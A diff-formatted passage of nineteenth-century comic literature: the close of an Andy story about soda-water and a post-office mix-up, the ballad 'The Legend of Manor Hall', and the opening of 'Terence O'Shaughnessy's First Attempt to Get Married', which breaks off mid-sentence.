+It was when that combustible was first introduced into Ireland as a
+dinner beverage that the occurrence took place, and Andy had the luck to
+be the person to whom a gentlemen applied for some soda-water.
+
+"Sir?" said Andy.--"Soda-water," said the guest, in that subdued tone in
+which people are apt to name their wants at a dinner-table.
+
+Andy went to the butler. "Mr. Morgan, there's a gintleman----"--"Let me
+alone, will you?" said Mr. Morgan.
+
+Andy manoeuvred round him a little longer, and again essayed to be
+heard.
+
+"Mr. Morgan!"--"Don't you see I'm as busy as I can be! Can't you do it
+yourself?"
+
+"I dunna what he wants."--"Well, go and ax him," said Mr. Morgan.
+
+Andy went off as he was bidden, and came behind the thirsty gentleman's
+chair, with "I beg your pardon sir."
+
+"Well!" said the gentleman.
+
+"I beg your pardon, sir; but what's this you ax'd me for?"--"Soda-water."
+
+"What, sir?"--"Soda-water; but, perhaps, you have not any."
+
+"Oh, there's plenty in the house, sir! Would you like it hot, sir."
+
+The gentleman laughed, and, supposing the new fashion was not understood
+in the present company, said "Never mind."
+
+But Andy was too anxious to please, to be so satisfied, and again
+applied to Mr. Morgan.
+
+"Sir!" said he.--"Bad luck to you! can't you let me alone?"
+
+"There's a gintleman wants some soap and wather."
+
+"Some what?"--"Soap and wather, sir."
+
+"Divil sweep you!--Soda-wather you mane. You'll get it under the
+sideboard."
+
+"Is it in the can, sir?"--"The curse o' Crum'll on you--in the bottles."
+
+"Is this it, sir?" said Andy, producing a bottle of ale.--"No, bad cess
+to you!--the little bottles."
+
+"Is it the little bottles with no bottoms, sir?"--"I wish _you_ wor in
+the bottom o' the say!" said Mr. Morgan, who was fuming and puffing,
+and rubbing down his face with his napkin, as he was hurrying to all
+quarters of the room, or, as Andy said, in praising his activity, that
+he was "like bad luck,--everywhere."
+
+"There they are!" said Morgan, at last.
+
+"Oh! them bottles that won't stand," said Andy; "sure, them's what I
+said, with no bottoms to them. How'll I open it--it's tied down?"--"Cut
+the cord, you fool!"
+
+Andy did as he was desired; and he happened at the time to hold the
+bottle of soda-water on a level with the candles that shed light over
+the festive board from a large silver branch, and the moment he made the
+incision, bang went the bottle of soda, knocking out two of the lights
+with the projected cork, which, performing its parabola the length of
+the room, struck the squire himself in the eye at the foot of the table,
+while the hostess at the head had a cold-bath down her back. Andy, when
+he saw the soda-water jumping out of the bottle, held it from him at
+arm's length; every fizz it made, exclaiming, "Ow!--ow!--ow!" and, at
+last, when the bottle was empty, he roared out, "Oh, Lord!--it's all
+gone!"
+
+Great was the commotion;--few could resist laughter except the ladies,
+who all looked at their gowns, not liking the mixture of satin and
+soda-water. The extinguished candles were relighted,--the squire got his
+eye open again,--and, the next time he perceived the butler sufficiently
+near to speak to him, he said, in a low and hurried tone of deep anger,
+while he knit his brow, "Send that fellow out of the room!" but, within
+the same instant, resumed the former smile, that beamed on all around as
+if nothing had happened.
+
+Andy was expelled the _salle à manger_ in disgrace, and for days kept
+out of his master's and mistress's way: in the mean time the butler
+made a good story of the thing in the servants' hall; and, when he held
+up Andy's ignorance to ridicule, by telling how he asked for "soap and
+water," Andy was given the name of "Suds," and was called by no other,
+for months after.
+
+But, though Andy's function in the interior were suspended, his services
+in out-of-door affairs were occasionally put in requisition. But here
+his evil genius still haunted him, and he put his foot in a piece of
+business his master sent him upon one day, which was so simple as to
+defy almost the chance of Andy making any mistake about it; but Andy was
+very ingenious in his own particular line.
+
+"Ride into the town, and see if there's a letter for me," said the
+squire, one day, to our hero.--"Yis, sir."
+
+"You know where to go?"--"To the town, sir."
+
+"But do you know where to go in the town?"--"No, sir."
+
+"And why don't you ask, you stupid thief?"--"Sure, I'd find out, sir."
+
+"Didn't I often tell you to ask what you're to do, when you don't
+know?"--"Yis, sir."
+
+"And why don't you?"--"I don't like to be throublesome, sir."
+
+"Confound you!" said the squire; though he could not help laughing at
+Andy's excuse for remaining in ignorance.
+
+"Well," continued he, "go to the post-office. You know the post-office,
+I suppose?"--"Yis, sir; where they sell gunpowdher."
+
+"You're right for once," said the squire; for his Majesty's postmaster
+was the person who had the privilege of dealing in the aforesaid
+combustible. "Go then to the post-office, and ask for a letter for me.
+Remember,--not gunpowder, but a letter."
+
+"Yis, sir," said Andy, who got astride of his hack, and trotted away to
+the post-office. On arriving at the shop of the postmaster, (for that
+person carried on a brisk trade in groceries, gimlets, broad-cloth, and
+linen-drapery,) Andy presented himself at the counter, and said,
+
+"I want a letther, sir, if you plase."
+
+"Who do you want it for?" said the postmaster, in a tone which Andy
+considered an aggression upon the sacredness of private life: so Andy
+thought the coolest contempt he could throw upon the prying impertinence
+of the postmaster was to repeat his question.
+
+"I want a letther, sir, if you plase."
+
+"And who do you want it for?" repeated the postmaster.
+
+"What's that to you?" said Andy.
+
+The postmaster, laughing at his simplicity, told him he could not tell
+what letter to give him unless he told him the direction.
+
+"The directions I got was to get a letther here,--that's the directions."
+
+"Who gave you those directions?"--"The masther."
+
+"And who's your master?"--"What consarn is that o' yours?"
+
+"Why, you stupid rascal! if you don't tell me his name, how can I give
+you a letter?"--"You could give it if you liked; but you're fond of
+axin' impidint questions, bekase you think I'm simple."
+
+"Go along out o' this. Your master must be as great a goose as yourself
+to send such a messenger."--"Bad luck to your impidince!" said Andy; "is
+it Squire Egan you dar to say goose to?"
+
+"Oh, Squire Egan's your master, then?"--"Yis; have you anything to say
+agin it?"
+
+"Only that I never saw you before."--"Faith, then you'll never see me
+agin if I have my own consint."
+
+"I won't give you any letter for the squire, unless I know you're his
+servant. Is there any one in the town knows you?"--"Plenty," said Andy;
+"it's not every one is as ignorant as you."
+
+Just at this moment a person entered the house to get a letter, to
+whom Andy was known; and he vouched to the postmaster that the account
+he gave of himself was true.--"You may give him the squire's letter.
+Have you one for me?"--"Yes, sir," said the postmaster, producing one:
+"fourpence."
+
+The new-comer paid the fourpence postage, and left the shop with his
+letter.
+
+"Here's a letter for the squire," said the postmaster. "You've to pay me
+elevenpence postage."
+
+"What 'ud I pay elevenpence for?"--"For postage."
+
+"To the divil wid you! Didn't I see you give Mr. Delany a letther for
+fourpence this minit, and a bigger letther than this; and now you want
+me to pay elevenpence for this scrap of a thing. Do you think I'm a
+fool?"
+
+"No; but I'm sure of it," said the postmaster.--"Well, you're welkim to
+think what you plase; but don't be delayin' me now; here's fourpence for
+you, and gi' me the letther."
+
+"Go along, you stupid thief!" said the postmaster, taking up the letter,
+and going to serve a customer with a mousetrap.
+
+While this person and many others were served, Andy lounged up and down
+the shop, every now and then putting in his head in the middle of the
+customers, and saying, "Will you gi' me the letther?"
+
+He waited for above half an hour, in defiance of the anathemas of the
+postmaster, and at last left, when he found it impossible to get the
+common justice for his master which he thought he deserved as well as
+another man; for, under this impression, Andy determined to give no more
+than the fourpence.
+
+The squire in the mean time was getting impatient for his return,
+and, when Andy made his appearance, asked if there was a letter for
+him.--"There is, sir," said Andy.
+
+"Then give it to me."--"I haven't it, sir."
+
+"What do you mean?"--"He wouldn't give it to me, sir."
+
+"Who wouldn't give it to you?"--"That owld chate beyant in the
+town,--wanting to charge double for it."
+
+"Maybe it's a double letter. Why the devil didn't you pay what he asked,
+sir?"--"Arrah, sir, why would I let you be chated. It's not a double
+letther at all: not above half the size o' one Mr. Delany got before my
+face for fourpence."
+
+"You'll provoke me to break your neck some day, you vagabond! Ride back
+for your life, you omadhaun! and pay whatever he asks, and get me the
+letter."--"Why, sir, I tell you he was sellin' them before my face for
+fourpence a-piece."
+
+"Go back, you scoundrel! or I'll horsewhip you; and if you're longer
+than an hour, I'll have you ducked in the horse-pond!"
+
+Andy vanished, and made a second visit to the post-office. When he
+arrived, two other persons were getting letters, and the postmaster was
+selecting the epistles for each, from a parcel of them that lay before
+him on the counter; at the same time many shop customers were waiting to
+be served.
+
+"I'm for that letther," said Andy.--"I'll attend to you by-and-by."
+
+"The masther's in a hurry."--"Let him wait till his hurry's over."
+
+"He'll murther me if I'm not back soon."--"I'm glad to hear it."
+
+While the postmaster went on with such provoking answers to these
+appeals for despatch, Andy's eye caught the heap of letters that lay on
+the counter; so, while certain weighing of soap and tobacco was going
+forward, he contrived to become possessed of two letters from the heap;
+and, having effected that, waited patiently enough until it was the
+great man's pleasure to give him the missive directed to his master.
+
+Then did Andy bestride his hack, and, in triumph at his trick on the
+postmaster, rattle along the road homeward as fast as his hack could
+carry him. He came into the squire's presence, his face beaming with
+delight, and an air of self-satisfied superiority in his manner, quite
+unaccountable to his master, until he pulled forth his hand, which had
+been grubbing up his prizes from the bottom of his pocket; and holding
+three letters over his head, while he said "Look at that!" he next
+slapped them down under his broad fist on the table before the squire,
+saying,
+
+"Well! if he did make me pay elevenpence, by gor, I brought your honour
+the worth o' your money, any how!"
+
+
+
+
+       THE LEGEND OF MANOR HALL
+   BY THE AUTHOR OF "HEADLONG HALL."
+
+    Old Farmer Wall, of Manor Hall,
+      To market drove his wain:
+    Along the road it went well stowed
+      With sacks of golden grain.
+
+    His station he took, but in vain did he look
+      For a customer all the morn;
+    Though the farmers all, save Farmer Wall,
+      They sold off all their corn.
+
+    Then home he went sore discontent,
+      And many an oath he swore,
+    And he kicked up rows with his children and spouse,
+      When they met him at the door.
+
+    Next market-day, he drove away
+      To the town his loaded wain:
+    The farmers all, save Farmer Wall,
+      They sold off all their grain.
+
+    No bidder he found, and he stood astound
+      At the close of the market-day,
+    When the market was done, and the chapmen were gone
+      Each man his several way.
+
+    He stalked by his load along the road;
+      His face with wrath was red:
+    His arms he tossed, like a goodman crossed
+      In seeking his daily bread.
+
+    His face was red, and fierce was his tread,
+      And with lusty voice cried he:
+    "My corn I'll sell to the devil of hell,
+      If he'll my chapman be."
+
+    These words he spoke just under an oak
+      Seven hundred winters old;
+    And he straight was aware of a man sitting there
+      On the roots and grassy mould.
+
+    The roots rose high o'er the green-sward dry,
+      And the grass around was green,
+    Save just the space of the stranger's place,
+      Where it seemed as fire had been.
+
+    All scorched was the spot, as gipsy-pot
+      Had swung and bubbled there:
+    The grass was marred, the roots were charred,
+      And the ivy stems were bare.
+
+    The stranger up-sprung: to the farmer he flung
+      A loud and friendly hail,
+    And he said, "I see well, thou hast corn to sell,
+      And I'll buy it on the nail."
+
+    The twain in a trice agreed on the price;
+      The stranger his earnest paid,
+    And with horses and wain to come for the grain
+      His own appointment made.
+
+    The farmer cracked his whip, and tracked
+      His way right merrily on:
+    He struck up a song, as he trudged along,
+      For joy that his job was done.
+
+    His children fair he danced in the air;
+      His heart with joy was big;
+    He kissed his wife; he seized a knife,
+      He slew a suckling pig.
+
+    The faggots burned, the porkling turned
+      And crackled before the fire;
+    And an odour arose, that was sweet in the nose
+      Of a passing ghostly friar.
+
+    He twirled at the pin, he entered in,
+      He sate down at the board;
+    The pig he blessed, when he saw it well dressed,
+      And the humming ale out-poured.
+
+    The friar laughed, the friar quaffed,
+      He chirped like a bird in May;
+    The farmer told how his corn he had sold
+      As he journeyed home that day.
+
+    The friar he quaffed, but no longer he laughed,
+      He changed from red to pale:
+    "Oh, helpless elf! 'tis the fiend himself
+      To whom thou hast made thy sale!"
+
+    The friar he quaffed, he took a deep draught;
+      He crossed himself amain:
+    "Oh, slave of pelf! 'tis the devil himself
+      To whom thou hast sold thy grain!"
+
+    "And sure as the day, he'll fetch thee away,
+      With the corn which thou hast sold,
+    If thou let him pay o'er one tester more
+      Than thy settled price in gold."
+
+    The farmer gave vent to a loud lament,
+      The wife to a long outcry;
+    Their relish for pig and ale was flown;
+      The friar alone picked every bone,
+    And drained the flagon dry.
+
+    The friar was gone: the morning dawn
+      Appeared, and the stranger's wain
+    Come to the hour, with six-horse power,
+      To fetch the purchased grain.
+
+    The horses were black: on their dewy track
+      Light steam from the ground up-curled;
+    Long wreaths of smoke from their nostrils broke,
+      And their tails like torches whirled.
+
+    More dark and grim, in face and limb,
+      Seemed the stranger than before,
+    As his empty wain, with steeds thrice twain,
+      Drew up to the farmer's door.
+
+    On the stranger's face was a sly grimace,
+      As he seized the sacks of grain;
+    And, one by one, till left were none,
+      He tossed them on the wain.
+
+    And slily he leered, as his hand up-reared
+      A purse of costly mould,
+    Where, bright and fresh, through a silver mesh,
+      Shone forth the glistering gold.
+
+    The farmer held out his right hand stout,
+      And drew it back with dread;
+    For in fancy he heard each warning word
+      The supping friar had said.
+
+    His eye was set on the silver net;
+      His thoughts were in fearful strife;
+    When, sudden as fate, the glittering bait
+      Was snatched by his loving wife.
+
+    And, swift as thought, the stranger caught
+      The farmer his waist around,
+    And at once the twain and the loaded wain
+      Sank through the rifted ground.
+
+    The gable-end wall of Manor Hall
+      Fell in ruins on the place:
+    That stone-heap old the tale has told
+      To each succeeding race.
+
+    The wife gave a cry that rent the sky
+      At her goodman's downward flight;
+    But she held the purse fast, and a glance she cast
+      To see that all was right.
+
+    'Twas the fiend's full pay for her goodman grey,
+      And the gold was good and true;
+    Which made her declare, that "his dealings were fair,
+      To give the devil his due."
+
+    She wore the black pall for Farmer Wall,
+      From her fond embraces riven:
+    But she won the vows of a younger spouse
+      With the gold which the fiend had given.
+
+    Now, farmers, beware what oaths you swear
+      When you cannot sell your corn;
+    Lest, to bid and buy, a stranger be nigh,
+      With hidden tail and horn.
+
+    And, with good heed, the moral a-read,
+      Which is of this tale the pith,
+    If your corn you sell to the fiend of hell,
+      You may sell yourself therewith.
+
+    And if by mishap you fall in the trap,--
+      Would you bring the fiend to shame,
+    Lest the tempting prize should dazzle her eyes,
+      Lock up your frugal dame.
+
+
+
+
+   TERENCE O'SHAUGHNESSY'S FIRST ATTEMPT TO GET MARRIED.
+           BY THE AUTHOR OF "STORIES OF WATERLOO."
+
+Yes--here I am, Terence O'Shaughnessy, an honest major of foot, five
+feet eleven and a half, and forty-one, if I only live till Michaelmas.
+Kicked upon the world before the down had blackened on my chin, Fortune
+and I have been wrestling from the cradle;--and yet I had little
+to tempt the jade's malevolence. The youngest son of an excellent
+gentleman, who, with an ill-paid rental of twelve hundred pounds, kept
+his wife in Bath, and his hounds in Tipperary, my patrimony would
+have scarcely purchased tools for a highwayman, when in my tenth year
+my father's sister sent for me to Roundwood; for, hearing that I was
+regularly going to the devil, she had determined to redeem me, if she
+could.
+
+My aunt Honor was the widow of a captain of dragoons, who got his
+quietus in the Low Countries some years before I saw the light. His
+relict had, in compliment to the memory of her departed lord, eschewed
+matrimony, and, like a Christian woman, devoted her few and evil days
+to cards and religion. She was a true specimen of an Irish dowager. Her
+means were small, her temper short. She was stiff as a ramrod, and proud
+as a field-marshal. To her, my education and future settlement in life
+were entirely confided, as one brief month deprived me of both parents.
+My mother died in a state of insolvency, greatly regretted by every body
+in Bath to whom she was indebted; and before her disconsolate husband
+had time to overlook a moiety of the card claims transmitted for his
+liquidation, he broke his neck in attempting to leap the pound-wall of
+Oranmore, for a bet of a rump and dozen. Of course he was waked, and
+buried like a gentleman,--every thing sold off by the creditors--my
+brothers sent to school--and I left to the tender mercy and sole
+management of the widow of Captain O'Finn.
+
+My aunt's guardianship continued seven years, and at the expiration of
+that time I was weary of her thrall, and she tired of my tutelage. I
+was now at an age when some walk of life must be selected and pursued.
+For any honest avocation I had, as it was universally admitted, neither
+abilities nor inclination. What was to be done? and how was I to be
+disposed of? A short deliberation showed that there was but one path
+for me to follow, and I was handed over to that _refugium peccatorum_,
+the army, and placed as a volunteer in a regiment just raised, with a
+promise from the colonel that I should be promoted to the first ensigncy
+that became vacant.
+
+Great was our mutual joy when Mrs. O'Finn and I were about to
+part company. I took an affectionate leave of all my kindred and
+acquaintances, and even, in the fulness of my heart, shook hands with
+the schoolmaster, though in boyhood I had devoted him to the infernal
+gods for his wanton barbarity. But my tenderest parting was reserved
+for my next-door neighbour, the belle among the village beauties, and
+presumptive heiress to the virtues and estates of Quartermaster MacGawly.
+
+Biddy MacGawly was a year younger than myself; and, to do her justice,
+a picture of health and comeliness. Lord! what an eye she had!--and her
+leg! nothing but the gout would prevent a man from following it, to the
+very end of Oxford-street. Biddy and I were next neighbours--our houses
+joined--the gardens were only separated by a low hedge, and by standing
+on an inverted flower-pot one could accomplish a kiss across it easily.
+There was no harm in the thing--it was merely for the fun of trying an
+experiment--and when a geranium was damaged, we left the blame upon the
+cats.
+
+Although there was a visiting acquaintance between the retired
+quartermaster and the relict of the defunct dragoon, never had any
+cordiality existed between the houses. My aunt O'Finn was so lofty in
+all things appertaining to her consequence, as if she had been the widow
+of a common-councilman; and Roger MacGawly, having scraped together a
+good round sum, by the means quartermasters have made money since the
+days of Julius Cæsar, was not inclined to admit any inferiority on his
+part. Mrs. O'Finn could never imagine that any circumstances could
+remove the barrier in dignity which stood between the non-commissioned
+officer and the captain. While arguing on the saw, that "a living ass
+is better than a dead lion," Roger contended that he was as good a
+man as Captain O'Finn; he, Roger, being alive and merry in the town
+of Ballinamore, while the departed commander had been laid under a
+"counterpane of daisies" in some counterscarp in the Low Countries.
+Biddy and I laughed at the feuds of our superiors; and on the evening
+of a desperate blow-up, we met at sunset in the garden--agreed that the
+old people were fools--and resolved that nothing should interrupt our
+friendly relations. Of course the treaty was ratified with a kiss, for I
+recollect that next morning the cats were heavily censured for capsizing
+a box of mignonette.
+
+No wonder then, that I parted from Biddy with regret. I sat with her
+till we heard the quartermaster scrape his feet at the hall-door on his
+return from his club, and kissing poor Biddy tenderly, as Roger entered
+by the front, I levanted by the back-door. I fancied myself desperately
+in love, and was actually dreaming of my dulcinea when my aunt's maid
+called me before day, to prepare for the stage-couch that was to convey
+me to my regiment in Dublin.
+
+In a few weeks an ensigncy dropped in, and I got it. Time slipped
+insensibly away--months became years--and three passed before I
+revisited Ballinamore. I heard, at stated periods, from Mrs. O'Finn.
+The letters were generally a detail of bad luck or bad health. For the
+last quarter she had never marked honours--or for the last week closed
+an eye with rheumatism and lumbago. Still, as these _jérémiades_ covered
+my small allowance, they were welcome as a lover's billet. Of course, in
+these despatches the neighbours were duly mentioned, and every calamity
+occurring since her "last," was faithfully chronicled. The MacGawlys
+held a conspicuous place in my aunt's quarterly notices. Biddy had got a
+new gown--or Biddy had got a new piano--but since the dragoons had come
+to town there was no bearing her. Young Hastings was never out of the
+house--she hoped it would end well--but every body knew a light dragoon
+could have little respect for the daughter of a quartermaster; and Mrs.
+O'Finn ended her observations by hinting that if Roger went seldomer to
+his club, and Biddy more frequently to mass, why probably in the end it
+would be better for both of them.
+
+I re-entered the well-remembered street of Ballinamore late in the
+evening, after an absence of three years. My aunt was on a visit, and
+she had taken that as a convenient season for having her domicile newly
+painted. I halted at the inn, and after dinner strolled over the any to
+visit my quondam acquaintances, the MacGawlys.
+
+If I had intended a surprise, my design would have been a failure.
+The quartermaster's establishment were on the _qui vive_. The fact
+was, that since the removal of the dragoons, Ballinamore had been
+dull as ditch-water; the arrival of a stranger in a post-chaise, of
+course had created a sensation in the place, and, before the driver
+had unharnessed, the return of Lieutenant O'Shaughnessy was regularly
+gazetted, and the MacGawlys, in anticipation of a visit, were ready to
+receive me.
+
+I knocked at the door, and a servant with a beefsteak collar opened it.
+Had Roger mounted a livery? Ay--faith--there it was; and I began to
+recollect that my aunt O'Finn had omened badly from the first moment a
+squadron of the 18th lights had entered Ballinamore.
+
+I found Roger in the hall. He shook my hand, swore it was an agreeable
+surprise, ushered me into the dining-room, and called for hot water and
+tumblers. We sat down. Deeply did he interest himself in all that had
+befallen me--deeply regret the absence of my honoured aunt--but I must
+not stay at the inn, I should be his guest; and, to my astonishment,
+it was announced that the gentleman in the red collar had been already
+despatched to transport my luggage to the house. Excuses were idle.
+Roger's domicile was to be head-quarters; and when I remembered my old
+flame, Biddy, I concluded that I might for the short time I had to stay,
+be in a less agreeable establishment than the honest quartermaster's.
+
+I was mortified to hear that Biddy had been indisposed. It was a bad
+cold, she had not been out for a month; but she would muffle herself and
+meet me in the drawing-room. This, too, was unluckily a night of great
+importance in the club. The new curate was to be balloted for; Roger had
+proposed him; and, _ergo_, Roger, as a true man, was bound to be present
+at the ceremony. The thing was readily arranged. We finished a second
+tumbler, the quartermaster betook himself to the King's Arms, and the
+lieutenant, meaning myself; to the drawing-room of my old inamorata.
+
+There was a visible change in Roger's domicile. The house was newly
+papered; and, leaving the livery aside, there was a greet increase of
+gentility throughout the whole establishment. Instead of bounding to
+the presence by three stairs at a time, as I used to do in lang syne, I
+was ceremoniously paraded to the lady's chamber by him of the beefsteak
+collar; and there, reclining languidly on a sofa, and wrapped in a
+voluminous shawl, Biddy MacGawly held out her hand to welcome her old
+confederate.
+
+"My darling Biddy!"--"My dear Terence!" and the usual preliminaries
+were got over. I looked at my old flame--she was greatly changed, and
+three years had wrought a marvellous alteration. I left her a sprightly
+girl--she was now a woman--and decidedly a very pretty one; although the
+rosiness of seventeen was gone, and a delicacy that almost indicated
+bad health had succeeded; "but," thought I, "it's all owing to the cold."
+
+There was a guarded propriety in Biddy's bearing, that appeared almost
+unnatural. The warm advances of old friendship were repressed; and
+one who had mounted a flower-pot to kiss me across a hedge, recoiled
+from any exhibition of our former tenderness. Well, it was all as it
+should be. Then I was a boy, and now a man. Young women cannot be too
+particular, and Biddy MacGawly rose higher in my estimation.
+
+Biddy was stouter than she promised to be, when we parted, but the
+eye was as dark and lustrous, and the ankle as taper as when it last
+had demolished a geranium. Gradually her reserve abated; old feelings
+removed a constrained formality--we laughed and talked--ay--and kissed
+as we had done formerly; and when the old quartermaster's latch-key was
+heard unclosing the street-door, I found myself admitting in confidence
+and a whisper, that "I would marry if I could." What reply Biddy would
+have returned, I cannot tell, for Roger summoned me to the parlour;
+and as her cold prevented her from venturing down, she bade me an
+affectionate good-night. Of course she kissed me at parting--and it was
+done as ardently and innocently as if the hawthorn hedge divided us.
+
+Roger had left his companions earlier than he usually did, in order
+to honour me, his guest. The new butler paraded oysters, and down we
+sat _tête-à-tête_. When supper was removed, and each had fabricated a
+red-hot tumbler from the tea-kettle, the quartermaster stretched his
+long legs across the hearth-rug, and with great apparent solicitude
+inquired into all that had befallen me since I had assumed the
+shoulder-knot and taken to the trade of war.
+
+"Humph!"--he observed--"two steps in three years; not bad considering
+there was neither money nor interest. D--it! I often wish that Biddy
+was a boy. Never was such a time to purchase on. More regiments to be
+raised, and promotion will be at a discount. Sir Hugh Haughton married
+a stockbroker's widow with half a plum, and paid in the two thousand I
+had lent him. Zounds! if Biddy were a boy, and that money well applied,
+I would have her a regiment in a twelvemonth."
+
+"Phew!" I thought to myself. "I see what the old fellow is driving at."
+
+"There never would be such another opportunity," Roger continued. "An
+increased force will produce an increased difficulty in effecting it.
+Men will be worth their own weight in money; and d--me, a fellow who
+could raise a few, might have any thing he asked for."
+
+I remarked that, with some influence and a good round sum, recruits
+might still be found.
+
+"Ay, easy enough, and not much money either, if one knew how to go
+about the thing. Get two or three smart chaps; let them watch fairs and
+patterns, mind their hits when the bumpkins got drunk, and find out when
+fellows were hiding from a warrant. D--me, I would raise a hundred,
+while you would say Jack Robinson. Pay a friendly magistrate; attest the
+scoundrels before they were sober enough to cry off, bundle them to the
+regiment next morning; and if a rascal ran away after the commanding
+officer passed a receipt for him, why all the better, for you could
+relist him when he came home again."
+
+I listened attentively, though in all this the cloven foot appeared. The
+whole was the plan of a crimp; and, if Roger was not belied, trafficking
+in "food for powder," had realized more of his wealth than slop-shoes
+and short measure.
+
+During the developement of his project for promotion, the quartermaster
+and I had found it necessary to replenish frequently, and with the third
+tumbler Roger came nearer to business.
+
+"Often thought it a pity, and often said so in the club, that a fine
+smashing fellow like you, Terence, had not the stuff to push you on.
+What the devil signifies family, and blood, and all that balderdash.
+There's your aunt, worthy woman; but sky-high about a dead captain.
+D--me, all folly. Were I a young man, I'd get hold of some girl with
+the wherewithal, and I would double-distance half the highfliers for a
+colonelcy."
+
+This was pretty significant--Roger had come to the scratch, and there
+was no mistaking him. We separated for the night. I dreamed, and in
+fancy was blessed with a wife, and honoured with a command. Nothing
+could be more entrancing than my visions; and when the quartermaster's
+_maître d'hôtel_ roused me in the morning, I was engaged in a friendly
+argument with my beloved Biddy, as to which of his grandfathers our heir
+should be called after, and whether the lovely babe should be christened
+Roderick or Roger.
+
+Biddy was not at breakfast; the confounded cold still confined her to
+her apartment; but she hoped to meet me at dinner, and I must endure
+her absence until then, as I best could. Having engaged to return at
+five, I walked out to visit my former acquaintances. From all of them
+I received a warm welcome, and all exhibited some surprise at hearing
+that I was domesticated with the quartermaster. I comprehended the
+cause immediately. My aunt and Roger had probably a fresh quarrel; but
+his delicacy had prevented him from communicating it. This certainly
+increased my respect for the worthy man, and made me estimate his
+hospitality the more highly. Still there was an evident reserve touching
+the MacGawlys; and once or twice, when dragoons were mentioned, I
+fancied I could detect a significant look pass between the persons with
+whom I was conversing.
+
+It was late when I had finished my calls; Roger had requested me to
+be regular to time, and five was fast approaching. I turned my steps
+towards his dwelling-place, when, at a corner of a street, I suddenly
+encountered an old schoolfellow on horseback, and great was our mutual
+delight at meeting so unexpectedly. We were both hurried, however, and
+consequently our greeting was a short one. After a few general questions
+and replies, we were on the point of separating, when my friend pulled
+up.
+
+"But where are you hanging out?" said Frederick Maunsell. "I know your
+aunt is absent."--"I am at old MacGawly's."
+
+"The devil you are! Of course you heard all about Biddy and young
+Hastings!"--"Not a syllable. Tell it to me."
+
+"I have not time--it's a long story; but come to breakfast, and I'll
+give you all the particulars in the morning. Adieu!" He struck the spurs
+to his horse, and cantered off, singing--
+
+    "Oh! she loved a bold dragoon,
+    With his long sword, saddle, bridle."
+
+I was thunderstruck. "Confound the dragoon!" thought I, "and his long
+sword, saddle, and bridle, into the bargain. Gad! I wish Maunsell had
+told me what it was. Well--what, suppose I ask Biddy herself?" I had
+half resolved that evening to have asked her a very different question;
+but, 'faith! I determined now to make some inquiries touching Cornet
+Hastings of the 13th, before Miss Biddy MacGawly should be invited to
+become Mrs. O'Shaughnessy.
+
+My host announced that dinner was quite ready, and I found Biddy in
+the eating-room. She was prettily dressed, as an invalid should be;
+and, notwithstanding her cold, looked remarkably handsome. I should to
+a certainty have been over head and ears in love, had not Maunsell's
+innuendo respecting the young dragoon operated as a damper.
+
+Dinner proceeded as dinners always do, and Roger was bent on
+hospitality. I fancied that Biddy regarded me with some interest, while
+momentarily I felt an increasing tenderness that would have ended, I
+suppose, in a direct declaration, but for the monitory hint which I had
+received from my old schoolfellow. I was dying to know what Maunsell's
+allusion pointed at, and I casually threw out a feeler.
+
+"And you are so dull, you say? Yes, Biddy, you must miss the dragoons
+sadly. By the way, there was a friend of mine here. Did you know Tom
+Hastings?"
+
+I never saw an elderly gentleman and his daughter more confused. Biddy
+blushed like a peony, and Roger seemed desperately bothered. At last the
+quartermaster responded,
+
+"Fact is--as a military man, showed the cavalry some
+attention--constantly at the house--anxious to be civil--helped them
+to make out forage--but d--d wild--obliged to cut, and keep them at a
+distance."
+
+"Ay, Maunsell hinted something of that."
+
+I thought Biddy would have fainted, and Roger grew red as the footman's
+collar.
+
+"Pshaw! d--d gossiping chap that Maunsell. Young Hastings--infernal
+hemp--used to ride with Biddy. Persuaded her to get on a horse of
+his--ran away--threw her--confined at this inn for a week--never
+admitted him to my house afterwards."
+
+Oh! here was the whole mystery unravelled! No wonder Roger was
+indignant, and that Biddy would redden at the recollection. It was
+devilish unhandsome of Mr. Hastings; and I expressed my opinion in a way
+that evidently pleased my host and his heiress, and showed how much I
+disapproved of the conduct of that _roué_ the dragoon.
+
+My fair friend rose to leave us. Her shawl caught in the chair, and I
+was struck with the striking change a few years had effected in my old
+playfellow. She was grown absolutely stout. I involuntarily noticed it.
+
+"Lord! Biddy, how fat you are grown!"
+
+A deeper blush than even when I named that luckless dragoon, flushed
+to her very brows at the observation, while the quartermaster rather
+testily exclaimed,
+
+"Ay, she puts on her clothes as if they were tossed on with a pitchfork,
+since she got this cold. D--it! Biddy. I say, tighten yourself, woman!
+Tighten yourself, or I won't be plased!"
+
+Well, here was a load of anxiety removed, and Maunsell's mischievous
+innuendo satisfactorily explained away. Biddy was right in resenting
+the carelessness that exposed her to ridicule and danger; and it was a
+proper feeling in the old quartermaster to cut the man who would mount
+his heiress on a break-neck horse. Gradually we resumed the conversation
+of last night--there was the regiment, if I chose to have it--and when
+Roger departed for the club, I made up my mind, while ascending the
+stairs, to make a splice with Biddy, and become Colonel O'Shaughnessy.
+
+Thus determined, I need not particularise what passed upon the sofa.
+My wooing was short, sharp, and decisive; and no affected delicacy
+restrained Biddy from confessing that the flame was mutual. My fears
+had been moonshine; my suspicions groundless. Biddy had not valued
+the dragoon a brass button; and--poor soul!--she hid her head upon my
+shoulder, and, in a soft whisper, acknowledged that she never had cared
+a _traneeine_[1] for any body in the wide world but myself!
+
+It was a moment of exquisite delight. I told her of my prospects, and
+mentioned the quartermaster's conversation. Biddy listened with deep
+attention. She blushed--strove to speak--stopped--was embarrassed. I
+pressed her to be courageous: and at last she deposited her head upon my
+breast, and bashfully hinted that Roger was old--avarice was the vice
+of age--he was fond of money--he was hoarding it certainly for her; but
+still, it would be better that my promotion should be secured. Roger had
+now the cash in his own possession. If we were married without delay,
+it would be transferred at once; whereas something that might appear
+to him advantageous, might offer, and induce her father to invest it.
+But she was really shocked at herself--such a proposition would appear
+so indelicate; but still, a husband's interests were too dear to be
+sacrificed to maiden timidity.
+
+I never estimated Biddy's worth till now. She united the foresight of a
+sage with the devotion of a woman. I would have been insensible indeed,
+had I not testified my regard and admiration; and Biddy was still
+resting on my shoulder, when the quartermaster's latch-key announced his
+return from the club.
+
+After supper I apprised Roger of my passion for his daughter, and
+modestly admitted that I had found favour in her sight. He heard my
+communication, and frankly confessed that I was a son-in-law he most
+approved of. Emboldened by the favourable reception of my suit, I
+ventured to hint at an early day, and pleaded "a short leave between
+returns," for precipitancy. The quartermaster met me like a man.
+
+"When people wished to marry, why, delay was balderdash. Matters
+could be quickly and quietly managed. His money was ready--no bonds
+or post-obits--a clean thousand in hand, and another the moment an
+opening to purchase a step should occur. No use in mincing matters among
+friends. Mrs. O'Finn was an excellent woman: she was a true friend,
